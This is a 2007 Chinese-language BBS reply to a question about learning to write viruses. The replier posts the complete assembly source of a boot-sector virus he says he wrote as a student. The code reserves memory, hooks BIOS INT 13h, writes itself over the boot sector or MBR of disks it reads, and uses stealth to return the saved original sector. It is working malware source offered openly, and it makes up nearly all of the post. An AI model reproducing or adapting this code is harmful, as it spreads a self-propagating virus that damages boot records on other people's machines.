作者zha0 (zha0)
站內ASM
標題Re: [問題] 有沒有人知道怎麼學寫病毒?
時間Wed Oct 31 10:45:38 2007
※ 引述《fluteoner (1207)》之銘言：
: 聽說病毒是用組語寫的
: 有人知道哪裡有教怎麼寫病毒的教材嗎??
: 我沒有要做壞事，只是研究領域是資安，
: 想了解病毒攻擊電腦的實際例子
: 謝謝
高職寫的開機型 XD 作古的玩具 囧rz
ORG 0
JMP $ + 0x3B + 3
NOP
TIMES 0x3B DB 0
; CLI ; initial stack pointer, data segment
XOR DI, DI
MOV SI, 0x7C00
; MOV SS,DI
; MOV SP,SI
MOV DS,DI
; STI
DEC WORD [DS:0x413] ; to allocate 1k memory
INT 0x12 ; get size of top of memnory
SHL AX, 6 ; memory size convert segment 640K = 640*1024 => 2^10/2^4 =
2^(10-4)
MOV ES, AX
CLD
MOV CX, 0x100
REP MOVSW ; move virus code to top of memory
SHL EAX, 0x10 ; seg:off to linear address
MOV AX, New_INT13h
XCHG EAX, [DS:0x4C] ; hook int 13h
MOV DI, Prev_INT13h ; backup org int 13h
STOSD
INT 19h ; reboot, int 13h redirect our int 13h
New_INT13h:
OR DH, DH ; head 0 ?
JNE SHORT Nope
CMP CX, 1 ; sector 1 ?
JNE SHORT Nope
CMP AH, 3 ; function : write sector
JE SHORT Avert
CMP AH, 2 ; function : read sector
JNE SHORT Nope
CALL INT13h ; read org sector
JNC SHORT Handler ; if no error, the operation is ok
Avert: IRET
Nope: DB 0xEA ; opcode of jmp
Prev_INT13h DD 0 ; org int 13h
Handler:
PUSHF ; backup all register for modifyed.
PUSHA
PUSH DS
push ES
CMP BYTE [ES:BX+$],'&' ; infector ?
JE SHORT Stealth
MOV AX, 0x301 ; write org boot/mbr to other sector
CALL Crafty
; CALL INT13h
PUSH ES
PUSH CS
POP ES
POP DS
MOV SI, 2 ; move bpb
MOV DI, SI
ADD SI, BX
MOV CX, 0x3C
REP MOVSB
MOV SI, 0x1BE ; move pt
MOV DI, SI
ADD SI, BX
MOV CX, 64
REP MOVSB
MOV AX, 0x301 ; write virus to boot/mbr
XOR BX, BX
XOR DH, DH
MOV CX, 1
CALL INT13h
JMP SHORT RETurn
Stealth:MOV AX, 0x201
CALL Crafty
;CALL INT13h
RETurn: POP ES
POP DS
POPA
POPF
RETF 2
Crafty: MOV CX, 14
OR DL, DL
JS SHORT INT13h
MOV DH, 1
INT13h: PUSHF
CALL DWORD [CS:Prev_INT13h]
RET
TIMES 512-2-($-$$) DB 0
DB 55h, 0AAH
--
--
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◆ From: 210.68.29.67
※ 編輯: zha0 來自: 210.68.29.67 (10/31 10:55)